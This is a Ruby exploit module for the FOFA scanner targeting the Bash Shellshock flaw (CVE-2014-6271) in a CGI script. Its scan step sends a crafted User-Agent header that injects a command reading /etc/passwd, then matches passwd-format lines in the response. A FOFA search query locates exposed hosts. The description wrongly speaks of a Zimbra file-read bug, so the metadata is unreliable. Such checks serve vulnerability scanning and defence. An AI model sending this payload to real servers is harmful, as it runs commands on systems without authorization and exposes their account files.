require 'fofa_core'
#require 'payload/webshell'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'bash进程任意命令执行',
      'Description' => %q{
Zimbra是流行的邮件系统，存在任意文件读取漏洞，最终可能导致命令执行。
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'Bash',
      'Homepage' => 'http://gnu.org/',
      'References' =>
          [
              ['CVE', '2014-6271'],
          ],
      'DisclosureDate'=> '2014-09-11',
      'FofaQuery'=>'header="cmo_cmo.sh"', #header="wspd_cgi.sh"
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/cgi-bin/cmo_cmo.sh',
                    header: {'User-Agent'=>'() { :;};echo -e "Content-type:text/html\r\n\r\n`/usr/bin/less /etc/passwd`"'},
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    },

                    {
                        type: 'group',
                        operation: 'OR',
                        checks: [
                            {
                                type: 'item',
                                varibale: '$head',
                                operation: 'regex',
                                value: /\S*:\S*:\S*:\S*:\S*:\S*:\S*/ui
                            },
                            {
                                type: 'item',
                                varibale: '$body',
                                operation: 'regex',
                                value: /\S*:\S*:\S*:\S*:\S*:\S*:\S*/ui
                            }
                        ]
                    }
                  ]
              }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
    #http://www.2cto.com/Article/201312/265706.html
    #http://www.exploit-db.com/sploits/zimbraexploit_rubina119.zip
  end
end
